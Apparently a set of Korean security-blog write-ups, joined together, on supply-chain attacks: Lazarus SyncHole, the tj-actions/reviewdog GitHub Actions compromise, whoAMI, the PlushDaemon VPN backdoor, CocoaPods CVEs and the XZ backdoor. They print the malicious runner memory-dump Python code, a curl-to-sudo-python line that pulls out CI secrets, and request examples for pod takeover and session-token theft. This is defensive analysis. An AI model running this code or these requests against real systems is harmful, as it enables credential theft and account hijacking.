1. 개요

- 북한 해킹그룹 라자루스가 Innorix Agent 제로데이 취약점을 악용해 국내 공급망 공격 (Operation SyncHole) 시도 [1][2]

- 워터링 홀서드파티 소프트웨어의 취약점을 결합해 국내 소프트웨어, IT, 금융, 반도체 제조, 통신 산업 등에 공격 시도

- 공격에 악용된 취약점들은 한국인터넷진흥원(KrCERT)과 개발사에 알려져 패치된 상태

2. 주요내용

2.1 초기 벡터

- 한국의 주요 언론 포털 웹사이트를 침해해 서버 측 스크립트 삽입 및 악성 도메인으로 리다이렉션

> 워터링 홀(Watering Hole) 공격으로 사용자를 악성 도메인으로 리다이렉션

 

- Cross EX 배포사를 위장한 피싱 사이트에는 악성 자바스크립트가 삽입돼 있었으며, 이를 통해 Cross EX의 취약점을 악용 및 악성코드 설치

> 삽입된 스크립트는 정상적인 SyncHost.exe를 실행하고 해당 프로세스에 ThreatNeedle 변종을 로드하는 셸코드 삽입

[사진 1] 피싱 사이트(좌) 및 Cross EX 악용 과정 요약(우)

- 워터링 홀(Watering Hole) 공격
> 공격 대상이 자주 방문하는 홈페이지를 사전에 침해한 후 공격 대상이 접속하면 공격을 시작

- Cross EX
> 금융이나 정부 웹사이트에서는 특정 보안 소프트웨어 설치가 필요
> 보안 소프트웨어는 브라우저와 상호 작용하기 위해 끊임없이 백그라운드에서 실행됨
> Cross EX는 다양한 브라우저 환경에서 이러한 보안 소프트웨어를 사용할 수 있도록 설계되었으며, 설치 직후를 제외하고는 사용자 권한으로 실행
> Cross EX가 악성코드 유포를 위해 악용된 정확한 방법은 파악되지 않았으나, 권한 상승을 달성한 것으로 추정

- ThreatNeedle [3]
> 라자루스가 2019년부터 암호화폐, 국방, 모바일 게임 기업을 공격하는 데 사용한 백도어

 

2.2 실행 흐름

- 총 4개의 서로 다른 악성코드 실행 체인 확인

[사진 2] 실행 흐름

단계 설명
1단계 악성코드 ① ThreatNeedle 변형
- 로더 버전코어 버전으로 구성
⒜ 로더 버전 : 2개의 구성 파일만 참조하고 4개의 명령어만 구현
⒝ 코어 버전 : 총 5개의 구성 파일(C_27098.NLS ~ C_27102.NLS)을 검색하며 총 37개의 명령어 포함
> 코어 버전은 C2로부터 특정 명령을 받아 지속성을 위해 추가 로더 파일을 생성

- Curve25519 알고리즘을 기반으로 임의의 키 쌍 생성
> 공개 키를 C2 서버로 전송한 후 공격자의 공개 키 수신
> 두 개의 키를 활용해 공유 키 생성 및 ChaCha20 알고리즘의 키로 사용해 암호화
> 데이터는 JSON 형식으로 송수신

② LPEClient
- 피해자 프로파일링(정보) 및 페이로드 전달에 사용되는 도구 [4]

③ wAgent 변형
- 접속에 성공한 C2 서버에 따라 form-data 또는 JSON 형식으로 데이터를 수신할 수 있음
> C2 통신 시, HTTP 요청 메세지의 Cookie 헤더에 '__Host-next-auth-token'를 포함
※ RSA 암호 연산을 수행하기 위해 GNU Multiple-Precision (GMP) 라이브러리를 사용
※ C++의 STL map을 사용하여 페이로드 관리
※ C2에서 추가 페이로드를 수신하여 메모리에 직접 로드하고 공유 객체 생성
※ 공유 객체를 통해 메인 모듈은 제공된 플러그인과 명령 매개변수 및 실행 결과 교환

④ Agamemnon Downloader 변형
- C2로부터 명령을 수신하고 ';;'를 구분자로하여 명령과 매개변수 분석 및 페이로드 실행
> 두 가지 명령 실행 방법
⒜ 멀웨어에서 일반적으로 사용되는 반사적 페이로드 로드
⒝ 오픈 소스 Tartarus-TpAllocInject 기술을 활용
※ 백신 및 EDR 솔루션 등을 우회하도록 설계되었지만, 페이로드 로드 방식은 각각 다름

⑤ Innorix Agent 악용
측면 이동(lateral movement)에 사용
> 악성코드는 Agamemnon Downloader를 통해 다운로드되어 Innorix Agent의 특정 버전을 악용해 추가 악성코드 설치
> Agamemnon Downloader부터 대상 IP, 파일 다운로드 URL, 파일 크기 등의 매개변수를 수신
⒜ 대상 IP에 Innorix Agent 설치 여부 확인
⒝ 실행 중일 경우 URL에서 합법적인 AppVShNotify.exe 파일과 악성 USERENV.dll 파일 다운
⒞ DLL 사이드로딩을 통해 USERENV.dll 실행하여 감염
※ Innorix Agent : 파일 송수신 프로그램
2단계 악성코드 ① SIGNBT
- 0.0.1버전과 1.2버전 활용
> 0.0.1버전
⒜ SyncHost.exe에서 메모리에 실행되어 추가 멀웨어(자격 증명 덤프 도구)를 가져온 초기 임플란트
⒝ C2 서버가 하드코딩되어 있음
> 1.2버전
⒜ 리소스에서 구성 파일 경로를 가져오고 해당 파일을 검색해 C2 서버 주소 획득
⒝ 두 개의 구성 파일 경로 확인
  경로 1 : C:\ProgramData\Samsung\SamsungSettings\settings.dat
  경로 2 : C:\ProgramData\Microsoft\DRM\Server\drm.ver
⒞ C2 서버로부터 RSA 공개 키를 수신하고, 해당 키로 무작위로 생성된 AES 키를 암호화
⒟ 모든 트래픽은 AES 키로 암호화

② COPPERHEDGE
- 내부 정찰(Internal Reconnaissance)에 사용
> 각 요청마다 3개 또는 4개의 매개변수를 C2서버로 HTTP 트래픽으로 전송
⒜ 첫 번째 HTTP 매개변수 이름: bih, aqs, org
⒝ 두 번째 HTTP 매개변수 이름: wib, rlz, uid
⒞ 세 번째 HTTP 매개변수 이름: tib, hash, lang
⒟ 네 번째 HTTP 매개변수 이름: ei, ie, oq

 

2.3 결론

- 최근 라자루스가 사용하는 악성코드는 경량화 및 모듈화를 포함해 빠르게 발전

> 새로 추가된 도구뿐만 아니라 과거에 사용되었던 악성코드 또한 변경되었으며, 앞으로 더 많은 변화가 예상됨

 

- 북한의 국내 대상 공급망 공격은 지속될 것

> 국내 많은 소프트웨어 개발 업체들이 이미 공격을 받았고, 공격자들 또한 악성코드를 개발하거나 개량하여 탐지를 회피하는데 노력 중

> 특히 C2 통신, 명령 수조, 데이터 송수신 방식 개선

 

- 이번 공격은 사전 탐지조기 분석의 중요성을 잘 보여준 사례

> 악성코드 행위 분석 과정에서 알려지지 않은 제로데이 취약점이 사전 탐지되어 추가 피해를 예방할 수 있었음

 

- 공격에 악용된 Innorix Agent 및 Cross EX의 취약점은 패치된 상태 [5][6]

 

- 관련 침해지표

구분 설명
파일 - Variant of the ThreatNeedle loader
> MD5 : f1bcb4c5aa35220757d09fc5feea193b
> 경로 : C:\System32\PCAuditex.dll

- Variant of the wAgent loader
> MD5 : dc0e17879d66ea9409cdf679bfea388c
> 경로 : C:\ProgramData\intel\util.dat

- COPPERHEDGE dropper
> MD5 : 2d47ef0089010d9b699cd1bbbc66f10a
> 경로 : %AppData%\hnc\_net.tmp
C2 - www[.]smartmanagerex[.]com
- hxxps://thek-portal[.]com/eng/career/index.asp
- hxxps://builsf[.]com/inc/left.php
- hxxps://www[.]rsdf[.]kr/wp-content/uploads/2024/01/index.php
- hxxp://www[.]shcpump[.]com/admin/form/skin/formBasic/style.php
- hxxps://htns[.]com/eng/skin/member/basic/skin.php
- hxxps://kadsm[.]org/skin/board/basic/write_comment_skin.php
- hxxp://bluekostec[.]com/eng/community/write.asp
- hxxp://dream.bluit.gethompy[.]com/mobile/skin/board/gallery/index.skin.php

3. 참고

[1] https://securelist.com/operation-synchole-watering-hole-attacks-by-lazarus/116326
[2] https://www.kaspersky.com/about/press-releases/kaspersky-uncovers-new-lazarus-led-cyberattacks-targeting-south-korean-supply-chains
[3] https://attack.mitre.org/software/S0665/
[4] https://malpedia.caad.fkie.fraunhofer.de/details/win.lpeclient
[5] https://boho.or.kr/kr/bbs/view.do?searchCnd=1&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=2&categoryCode=&nttId=71686
[6] https://www.ncsc.go.kr:4018/main/cop/bbs/selectBoardArticle.do?bbsId=SecurityAdvice_main&nttId=32172&pageIndex=3&searchCnd2=
[7] https://www.dailysecu.com/news/articleView.html?idxno=165615
[8] https://www.boannews.com/media/view.asp?idx=137003&page=1&kind=1
[9] https://www.dailysecu.com/news/articleView.html?idxno=165681

1. tj-actions/changed-files [1]

- 리포지토리에서 파일 변경 사항을 추적(감지)하는 용도로 활용

- 약 23,000개 이상의 리포지토리에서 사용중

2. reviewdog/action-setup [2][3]

- 코드 리뷰 및 정적 분석을 자동화하는 데 사용

3. 주요 내용

- 공격자는 GitHub Action reviewdog/action-setup@v1를 감염시킨 후 이를 통해 tj-actions/changed-files를 침투 [4][5][6]

> CI/CD 러너(Runner) 메모리 데이터를 덤프해 환경 변수와 비밀 키를 로그에 기록하도록 조작

> 이로 인해 AWS 액세스 키, 깃허브 개인 액세스 토큰(PAT), NPM 토큰, 개인 RSA 키 등이 외부로 노출될 수 있음

[사진 1] 공급망 공격 과정 요약

- 공격자는 reviewdog/action-setup@v1의 install.sh에 Based64로 인코딩된 Python 코드를 삽입(Hardcoded) [8]

> 해당 코드는 Runner.Worker 프로세스의 메모리에서 읽기 가능한 영역을 추출하여 덤프하는 코드

> CVE-2025-30154 (CVSS: 8.6)으로 지정 [9]

[사진 2] install.sh에 Hardcoded된 악성 코드

#!/usr/bin/env python3

# based on https://davidebove.com/blog/?p=1620

import sys
import os
import re

# 실행 중인 프로세스 중 'Runner.Worker' 문자열이 포함된 프로세스의 PID를 찾아 반환
def get_pid():
    # /proc 디렉터리에서 현재 실행 중인 모든 프로세스 PID 목록 가져오기
    pids = [pid for pid in os.listdir('/proc') if pid.isdigit()]

    for pid in pids:
        try:
            # 각 프로세스의 cmdline (실행 명령어) 확인
            with open(os.path.join('/proc', pid, 'cmdline'), 'rb') as cmdline_f:
                if b'Runner.Worker' in cmdline_f.read():  # Runner.Worker가 포함된 프로세스인지 확인
                    return pid
        except IOError:
            continue

    # 해당 프로세스가 없으면 예외 발생
    raise Exception('Can not get pid of Runner.Worker')


if __name__ == "__main__":
    # Runner.Worker 프로세스의 PID 찾기
    pid = get_pid()
    print(pid)

    # 해당 프로세스의 maps과 mem 파일 경로 지정
    map_path = f"/proc/{pid}/maps"
    mem_path = f"/proc/{pid}/mem"

    # map 파일 및 mem 파일 읽기
    with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f:
        # 메모리 매핑된 각 영역을 한 줄씩 읽음
        for line in map_f.readlines():
            # 정규 표현식으로 메모리 시작-끝 주소와 권한 정보 추출
            m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)

            # 읽기 권한이 있는 영역만 대상
            if m and m.group(3) == 'r':
                start = int(m.group(1), 16)  # 시작 주소
                end = int(m.group(2), 16)    # 끝 주소

                # 64비트 환경에서 파이썬 int로 처리할 수 없는 주소 건너뛰기
                if start > sys.maxsize:
                    continue

                # 메모리 파일 포인터를 해당 영역의 시작 위치로 이동
                mem_f.seek(start)
                
                try:
                    # 메모리 내용을 읽고 표준 출력으로 내보내기 (바이너리로)
                    chunk = mem_f.read(end - start)
                    sys.stdout.buffer.write(chunk)
                except OSError:
                    # 일부 영역은 읽을 수 없을 수 있음 → 무시하고 넘어감
                    continue

 

- 공격자는 덤프로 탈취한 자격증명을 도용해 tj-actions/changed-files를 침해한 것으로 판단됨

> 공격자는 Based64로 인코딩된 페이로드를 index.js에 삽입

> 해당 코드는 특정 URL에서 Python 코드를 다운 받아 실행한 후 Based64를 두 번 적용해 출력하는 코드

> CVE-2025-30066 (CVSS: 8.6)으로 지정 [10]

[사진 3] 삽입된 함수

# 현재 OS 타입이 리눅스인 경우
if [[ "$OSTYPE" == "linux-gnu" ]]; then
# 특정 URL에서 memdump.py 다운로드 및 실행
# sudo 권한으로 실행
# 널 문자 제거 (tr -d '\0'), 특정 패턴 출력 (grep ~), 중복 제거 (sort -u), Based64 인코딩 두 번 적용 (base64 -w 0)
# 인코딩된 값 출력
  B64_BLOB=`curl -sSf hxxps://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' | sort -u | base64 -w 0 | base64 -w 0`
  echo $B64_BLOB
else
  exit 0
fi

 

- 특정 URL의 Python 코드는 Runner.Worker 프로세스의 메모리에서 읽기 가능한 영역을 추출하여 출력

#!/usr/bin/env python3

import sys
import os
import re

# 실행 중인 프로세스 중 'Runner.Worker' 문자열이 포함된 프로세스의 PID를 찾아 반환하는 함수
def get_pid():
    # /proc 디렉터리에서 현재 실행 중인 모든 프로세스 PID 목록 가져오기 
    pids = [pid for pid in os.listdir('/proc') if pid.isdigit()]

    for pid in pids:
        try:
            # 각 프로세스의 cmdline (실행 명령어) 확인
            with open(os.path.join('/proc', pid, 'cmdline'), 'rb') as cmdline_f:
                # Runner.Worker가 포함된 프로세스인지 확인
                if b'Runner.Worker' in cmdline_f.read():
                    # 찾으면 해당 PID 반환
                    return pid  
        except IOError:
            # 접근 불가한 PID는 무시
            continue

    # 찾지 못할 경우 예외 발생
    raise Exception('Can not get pid of Runner.Worker')  

if __name__ == "__main__":
    pid = get_pid()  # 대상 프로세스 PID 획득
    print(pid)  # 표준 출력으로 PID 출력 (bash 스크립트에서 사용)

    map_path = f"/proc/{pid}/maps"  # 메모리 매핑 정보 파일
    mem_path = f"/proc/{pid}/mem"   # 실제 메모리 접근 파일

    with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f:
        for line in map_f.readlines():  # 매핑된 메모리 영역 하나씩 확인
            m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)  # 시작-끝 주소, 권한 파싱
            if m and m.group(3) == 'r':  # 읽기 권한(r)이 있는 영역만
                start = int(m.group(1), 16)
                end = int(m.group(2), 16)

                if start > sys.maxsize:  # 64비트 환경에서 처리 불가한 주소 방지
                    continue

                mem_f.seek(start)  # 메모리 영역 시작점으로 이동

                try:
                    chunk = mem_f.read(end - start)  # 해당 메모리 영역 읽기
                    sys.stdout.buffer.write(chunk)   # 메모리 내용 바이너리로 출력 (bash에서 후속 처리)
                except OSError:
                    # 일부 보호된 메모리 영역 접근 불가 → 무시
                    continue

[사진 4] tj-actions/changed-files 침해 요약

3. 대응방안

Action 업데이트 적용 (or 대체 도구로 교체 or 사용 중단)

- tj-actions/changed-files의 경우 46.0.1 버전에서 취약점을 해결 [11]

> 대체 도구 사용 : tj-actions/changed-files 액션을 step-security/changed-files@v45 로 교체

> 또는 사용 중단

 

Action 워크플로 실행 로그 감사

- 해당 기간 동안 Runner.Worker 관련 이상 활동 및 tj-actions/changed-files 또는 reviewdog/action-setup@v1 기록 확인

> “🐶 Preparing environment ...” 또는 [사진 5]의 문자열이 확인될 경우 악성코드가 실행된 것

[사진 5] 악성코드가 실행된 경우의 예시

관련된 비밀 정보 모두 변경

- GitHub 개인 액세스 토큰 (PAT), AWS 키, NPM 토큰, RSA 키 등 모든 종류의 비밀 키 교체

 

GitHub Actions 버전 고정 : 커밋 해시로 고정

- 특정 커밋 해시를 사용해 버전 고정

 

GitHub 허용 목록 기능 활용

- 신뢰할 수 있는 GitHub Actions만 실행하도록 허용 목록 구성

 

Reviewdog 의존 Action 점검

- reviewdog/action-setup이 다른 reviewdog Action의 구성요소로 포함되어 있어 해당 Action들에 대한 확인 필요
> reviewdog/action-shellcheck 
> reviewdog/action-composite-template 
> reviewdog/action-staticcheck 
> reviewdog/action-ast-grep 
> reviewdog/action-typos 

 

관련 로그 삭제 또는 환경 초기화

- 워크플로우 실행 로그 등 관련 로그를 삭제하거나 초기 환경으로 초기화

4. 참고

[1] https://github.com/tj-actions/changed-files
[2] https://github.com/reviewdog/action-setup
[3] https://github.com/reviewdog/reviewdog
[4] https://www.stepsecurity.io/blog/harden-runner-detection-tj-actions-changed-files-action-is-compromised
[5] https://sysdig.com/blog/detecting-and-mitigating-the-tj-actions-changed-files-supply-chain-attack-cve-2025-30066/
[6] https://www.wiz.io/blog/new-github-action-supply-chain-attack-reviewdog-action-setup
[7] https://www.wiz.io/blog/github-action-tj-actions-changed-files-supply-chain-attack-cve-2025-30066
[8] https://github.com/reviewdog/action-setup/commit/f0d342
[9] https://nvd.nist.gov/vuln/detail/CVE-2025-30154
[10] https://nvd.nist.gov/vuln/detail/cve-2025-30066
[11] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71685&menuNo=205020
[12] https://www.cisa.gov/news-events/alerts/2025/03/18/supply-chain-compromise-third-party-github-action-cve-2025-30066
[13] https://www.dailysecu.com/news/articleView.html?idxno=164623
[14] https://news.hada.io/topic?id=19770

1. 개요

- 아마존 웹 서비스 (AWS)에서 새로운 유형의 네임 혼동 (Name Confusion) 공격 ‘whoAMI’를 발견 [1]

- 아마존 머신 이미지 (Amazon Machine Image, AMI)의 이름 혼동을 악용해 원격 코드 실행을 통해 AWS 계정에 침투할 수 있음

- 개발자가 AWS에서 AMI를 검색할 때 ‘소유자 (owner)’ 속성을 지정하지 않을 경우, 공격자가 악성 AMI를 통해 피해자의 계정에 침투할 수 있음

2. 주요 내용

- 누구나 카탈로그에 AMI를 게시할 수 있음

> 사용자는 owners 속성을 지정해 AMI 게시자에 대한 정보를 확인할 수 있으며, 해당 속성을 지정하는 것은 중요함

"describe-images" 명령에서 "--소유자" 매개변수를 생략하면 소유권에 관계없이 실행 권한이 있는 모든 이미지가 반환됩니다.

[사진 1] API 호출 시 owners 속성을 생략한 경우에 대한 경고

- owners로 허용되는 값

※ --owners 속성을 표의 값과 함께 사용하면 whoAMI 이름 혼동 공격에 취약하지 않음

구분 설명
self - 요청을 하는 AWS 계정과 동일한 AWS 계정에 호스팅된 자체 개인 AMI
AN_ACCOUNT_ID - 지정된 AWS 계정의 AMI
- Canonical, Amazon, Microsoft, RedHat 등과 같은 주요 AMI 제공업체의 잘 알려진 계정 ID이 있음
amazon - 인증된 계정에서 제공되는 AMI
aws-marketplace - AWS Marketplace의 일부인 AMI
> AWS Marketplace : 고객이 타사 소프트웨어를 검색/구매/배포/관리하는 데 사용할 수 있는 큐레이팅된 디지털 카탈로그

 

- owners 값이 생략된 경우 AMI ID를 찾는 과정

[사진 2] 과정 요약

- 공격자는 [사진 2]를 악용해 다음과 같이 공격을 진행

[사진 3] 악용 과정

[영상 1] 공격 시연 영상

- 다음 조건이 충족되면 공격에 쉽게 노출

name 필터만 사용

> owner, owner-alias, owner-id 등의 파라미터를 지정하지 않을 경우

'most_recent=true' 옵션 사용

> 최신 이미지를 자동으로 선택하도록 설정한 경우

자동화된 이미지 검색

> Terraform과 같은 IaC (Infrastructure as Code) 도구가 최신 이미지를 자동으로 선택하도록 설정한 경우

 

- AWS 및 HashiCorp (Terraform 개발사)의 대응

① AWS : Allowed AMIs

>  신뢰할 수 있는 AMI만 사용할 수 있도록 허용 목록을 설정할 수 있는 보안 통제 장치

② HashiCorp : ‘most_recent=true’ 옵션 관련 보안 강화

> owner 필터 없이 사용할 경우 경고 메시지를 출력하도록 조치

> 25년 출시되는 Terraform 6.0.0 버전부터는 경고를 오류로 격상할 예정

 

- DataDog은 whoAMI 스캐너 공개 [3]

> 현재 실행 중인 EC2 인스턴스를 감사

> 공개 계정과 검증되지 않은 계정 모두에서 실행된 AMI가 있는지 알려줌

[사진 4] whoAMI 스캐너

3. 참고

[1] https://securitylabs.datadoghq.com/articles/whoami-a-cloud-image-name-confusion-attack/
[2] https://www.youtube.com/watch?v=l-WEXFJd-Bo
[3] https://github.com/DataDog/whoAMI-scanner
[4] https://www.dailysecu.com/news/articleView.html?idxno=163773

1. IPany VPN [1]

- 한국 VPN 제공업체

2. 주요내용

PlushDaemon으로 명명된 중국 APT 그룹에의해 한국 VPN 공급 업체 IPany는 공급망 공격을 당함 [2]
> 공격자들은 합법적인 설치 프로그램에 SlowStepper 백도어를 삽입
> SlowStepper는 C++, Python, Go로 프로그래밍된 약 30개의 모듈로 구성된 대규모 툴킷을 갖추고 있음

 

- 사용자들은 VPN 다운로드 URL (hxxps://ipany[.]kr/download/IPanyVPNsetup.zip)에서 악성 파일을 다운
> 악성 IPanyVPNsetup.exe 설치 프로그램이 실행되면 여러 디렉토리를 생성하고, 정상 및 악성 파일을 모두 배포

[사진 1] 정상 및 악성 파일 배포

- 공격 체인

순서 설명
IPanyVPNSetup.exe 실행 - AutoMsg.dll 로드
- 레지스트리를 등록해 (값 : %PUBLIC%\Documents\WPSDocuments\WPSManager\svcghost.exe) 부팅 시 악성 구성 요소 svcghost.exe가 실행되도록 함
IPanyVPNSetup.exe가 
ExitProcess를 호출할 때
셸 코드로 실행 리다이렉션
- 셸 코드 : EncMgr.pkg를 메모리에 로드 및 실행

- EncMgr.pkg
> %PUBLIC%\Documents에 2개의 디렉터리를 생성 (WPSDocuments, WPSManager)하고 NetNative.pkg, FeatureFlag.pkg에서 구성 요소를 추출 및 실행
> 추출 및 실행 순서

⒜ NetNative.pkg에서 파일 추출
 - %PUBLIC%\Documents\WPSDocuments\WPSManager\assist.dll (악성 파일)
 - %PUBLIC%\Documents\WPSDocuments\WPSManager\msvcr100.dll (정상 파일)
 - %PUBLIC%\Documents\WPSDocuments\WPSManager\PerfWatson.exe (정상 파일)
 - %PUBLIC%\Documents\WPSDocuments\WPSManager\svcghost.exe (악성 파일)

⒝ NetNative.pkg 삭제

⒞ FeatureFlag.pkg를 winlogin.gif로 이동
> C:\ProgramData\Microsoft Shared\Filters\SystemInfo\winlogin.gif

⒟ assist.dll를 Winse.gif로 이동
> C:\ProgramData\Microsoft Shared\Filters\SystemInfo\Winse.gif

⒠ Winse.gif에서 lregdll.dll 추출
> %PUBLIC%\Documents\WPSDocuments\WPSManager\lregdll.dll

⒡ BootstrapCache.pkg를 Qmea.dat에 복사
> %PUBLIC%\Documents\WPSDocuments\WPSManager\Qmea.dat

⒢ ShellExecute API를 사용하여 svcghost.exe를 실행 및 종료
svcghost.exe - PerfWatson.exe 프로세스를 모니터링해 실행 중이 아니면 PerfWatson.exe를 실행해 lregdll.dll를 사이드 로드
- lregdll.dll는 winlogin.gif에서 SlowStepper 백도어 로드

[사진 2] 공격 체인 요약

2.1 SlowStepper 백도어

합법적인 DNS 서버를 사용해 7051.gsm.360safe[.]company에 대한 TXT 레코드를 획득
> 쿼리는 TXT 레코드의 처음 6바이트가 특정 문자열과 일치하는지 확인하고, 일치할 경우 나머지 문자열(C&C IP 주소를 포함하는 인코딩된 암호화문(base64, AES) 추출

※ TXT 레코드 : 도메인 및 하위 도메인과 관련된 텍스트 정보를 저장하며, 주로 메일이 신뢰할 수 있는 출처에서 온 것인지 확인하는데 사용 (SPF, DKIM, DMARC) [3]

[사진 3] 악성 도메인을 포함한 DNS TXT 레코드

획득한 C&C IP로 연결을 시도하며, 실패 시 API를 사용해 대체 C&C IP 획득
> 연결 실패 시 : st.360safe[.]company 도메인에 gethostbyname API를 사용해 해당 도메인에 매핑된 IP 주소를 얻어 대체 C&C 서버로 사용
> 통신이 설정되면 HOST 정보(CPU 정보, 호스트 이름, 실행 중인 프로세스 목록, 설치된 애플리케이션 목록 등), 파일 삭제, 셸 모드 활성화 등의 명령을 처리
> 또한 Python, C/C++, Go 언어로 작성된 모듈을 로드하고 실행하는 기능 포함

※ gethostbyname API : 주어진 도메인 이름을 이용하여 해당 도메인의 IP 주소를 알아내는 데 사용 [4]

 

- IoC 목록 [5]

3. 참고

[1] https://ipany.kr/
[2] https://www.welivesecurity.com/en/eset-research/plushdaemon-compromises-supply-chain-korean-vpn-service/
[3] https://hippogrammer.tistory.com/363
[4] https://learn.microsoft.com/ko-kr/windows/win32/api/winsock2/nf-winsock2-gethostbyname
[5] https://github.com/eset/malware-ioc/tree/master/PlushDaemon
[6] https://www.bleepingcomputer.com/news/security/ipany-vpn-breached-in-supply-chain-attack-to-push-custom-malware/

1. 개요

- Apple에서 나온 거의 모든 장비에 영향을 주는 10년간 방치되어 있다 발견 [1]
- 취약점은 종속성 관리자 CocoaPods 프로그램에서 발생 [2]
- 악용한 시도는 아직까지 확인되지 않았으며, 취약점은 패치됨

 

1.1 관련 용어

구분 설명
Pod 프로젝트의 Dependency 상황을 서술하고 있는 파일
Dependency(의존성) 소프트웨어를 구성하는 요소들끼리 상호 의존하는 관계
CocoaPods Swift와 Objective-C 언어로 만들어진 애플리케이션들의 디펜던시 관리를 편리하게 해 주는 오픈소스로, 팟들을 관리
Swift 개발 언어 중 하나
Objective-C
Trunk 코코아팟즈와 연결된 서버로, 팟들을 저장하고 관리

 

2. 주요내용

2.1 CocoaPods 마이그레이션

- 2014년 CocoaPods은 새롭게 구축한 Trunk 서버로 마이그레이션
- 마이그레이션으로 인해 모든 Pod의 소유자가 초기화
Pod의 원 소유자들은 CocoaPods에 연락해 Pod에 대한 소유권을 주장
- 그러나 일부 Pod 소유자들은 소유권을 주장하지 않았고, 1,870개의 Pod가 주인 없이 방치

 

2.2 CVE-2024-38368 [3]

[사진 1] CVE-2024-38368

의의 사용자가 방치된 Pod의 소유권을 획득할 수 있는 취약점 (CVSS: 9.3)

누구나 Pod에 접근 및 내용을 수정이 가능하여 악성코드 삽입 가능
> 방치된 Pod는 기본 CocoaPods 계정(unclaimed-pods[@]cocoapods.org)과 연결되어 있었음
> 또한, Pod의 소유권을 주장할 수 있는 공개 API 엔드포인트가 사용가능해 누구나 검증 없이 Pod의 소유권을 획득할 수 있었음

 

- 공격자는 해당 API에 대상 Pod를 포함한 간단한 CURL 요청을 통해 소유권 획득 가능

# Curl request for changing ownership of a targeted orphaned pod
curl -X 'POST' \
 -H 'Host: trunk.cocoapods.org' \
 -H 'Content-Type: application/x-www-form-urlencoded' \
--data-binary 'owner[name]=EVA&email=research@evasec.io'
--data-binary 'pods[]=[TARGET_UNCLAIMED_POD]&button=SEND'
 'hxxps://trunk.cocoapods.org/claims'

 

2.3 CVE-2024-38366 [4]

[사진 2] CVE-2024-38366

이메일 도메인의 MX 레코드 유효성을 확인하는 rfc-822 라이브러리에의해 발생하는 원격 코드 실행 취약점 (CVSS: 10.0)

> rfc-822 라이브러리는 MX 레코드 유효성 검증을 위해 셸 명령을 실행하여 이로 인해 원격 코드 실행이 가능해짐
익스플로잇에 성공시 모든 Pod 소유자들의 세션 토큰 덤프하고 클라이언트 트래픽 조작 가능하며, 서버 자체를 완전히 셧다운 시키는 것도 가능

 

[사진 3] 취약한 rfc-822 구현

① mx_records()
> 38행: 이메일 주소를 받아 모듈의 EMAIL 정규식 패턴과 비교하여 검증
> 41행: 제공된 이메일 주소에서 분할된 도메인 부분을 이용해 raw_mx_records() 호출
② raw_mx_records()
> 49~51행: 도메인 부분 수신 및 DNS MX 레코드 검증을 위해 host_mx() 호출
③ host_mx()
> 53~55행: 임의의 OS 명령 '/usr/bin/env host -t MX #{domain}'을 실행하고, 이를 사용자가 제공한 이메일의 도메인과 연결
적절한 검증 없이 제공된 이메일 주소에 대해 OS 명령을 실행하여 취약점 발생

 

[영상 1] 취약점 시연 영상 [5]

2.4 CVE-2024-38367 [6]

[사진 4] CVE-2024-38367

- 사용자들의 상호작용 없이 세션 인증 토큰을 탈취할 수 있는 제로클릭 취약점 (CVSS: 8.2)

> 취약점은 세션 유효성 검사 URL을 구성하는 sessions_controller 클래스의 'Trunk' 서버 소스 코드에 위치

 

[사진 5] sessions_controller.rb

① request.host_wth_port()
> 21행: 세션 검증 URL의 도메인 부분을 생성하며, 새 세션이 생성 및 생성된 링크가 이메일을 통해 전송
request.host_wth_port()는 Host 헤더나 다른 환경 변수 값보다 X-Forwarded-Host 헤더를 우선시

 

- 공격자는 조작된 X-Forwarded-Host를 통해 스푸핑된 도메인이 포함된 세션 검증 URL을 생성공격자 메일로 전송
> 공격자는 검증 URL을 통해 세션 토큰을 탈취할 수 있음

POST /api/v1/sessions HTTP/1.1
Host: trunk.cococapods.org
Content-Type: application/json; charset=utf-8
Accept: application/json; charset=utf-8
User-Agent: CocoaPods/1.12.1
Accept-Encoding: gzip, deflate
X-Forwarded-Host: research.evasec.io
Content-Length: 78

{
  "email":"research@evasec.io",
  "name":"EVAResearch",
  "description":null
}

 

3. 대응방안

- 패치 적용

구분 설명
CVE-2024-38368 23.09 commit 71be5440906b6bdfbc0bcc7f8a9 fec33367ea0f4
CVE-2024-38366 23.09 commit 001cc3a430e75a16307f5fd6cdff1363ad2f40f3
CVE-2024-38367 23.10 commit d4f66f49cedab449af56a21ab697b9f7b97

 

- 기타 방안

① 모든 CocoaPods 관리자와 개발자들이 항상 같은 버전의 podfile.lock 파일을 보유하고 있어야함

> 동기화를 제대로 해야 모든 구성원이 똑같이 사용할 수 있으며 비정상적인 것들을 일찍 발견할 수 있음

② Trunk 서버에 Pod을 하나 호스팅한 뒤 다운로드하여 내부적으로 보유하고 있는 Pod와 비교해 CRC 검사 수행

> 배포하려는 것과 보유하고 있는 것이 정말로 같은 파일인지 확인하는 것

③ 서드파티 코드를 쓰려면 여러 번 확인 과정을 거칠 것

④ 주인 없는 Pod 사용 여부 점검

⑤ 인기있는 Dependency를 사용해야 한다면 더더욱 주의를 기울이고 검사에 만전을 기해야 함

> 공격자들은 유명한 것들을 더 활발히 악용

 

4. 참고

[1] https://www.evasec.io/blog/eva-discovered-supply-chain-vulnerabities-in-cocoapods
[2] https://cocoapods.org/
[3] https://nvd.nist.gov/vuln/detail/CVE-2024-38368
[4] https://nvd.nist.gov/vuln/detail/CVE-2024-38366
[5] https://www.youtube.com/watch?v=nO84n2v3ZyM
[6] https://nvd.nist.gov/vuln/detail/CVE-2024-38367
[7] https://www.boannews.com/media/view.asp?idx=131055&page=1&kind=1

1. 개요

- 모든 GNU/리눅스 운영체제의 인기 오픈소스 ‘XZ Utils’ 라이브러리에서 백도어가 발견
> 일종의 소프트웨어 공급망 공격으로 볼 수 있음
기존 공급망 공격과 달리 운영체제 레벨에서 사용되는 오픈소스 프로젝트 저장소에 접근
- CVSS 점수 10.0 할당 되었으며, 무단 원격 엑세스를 허용하도록 설계된 백도어 설치
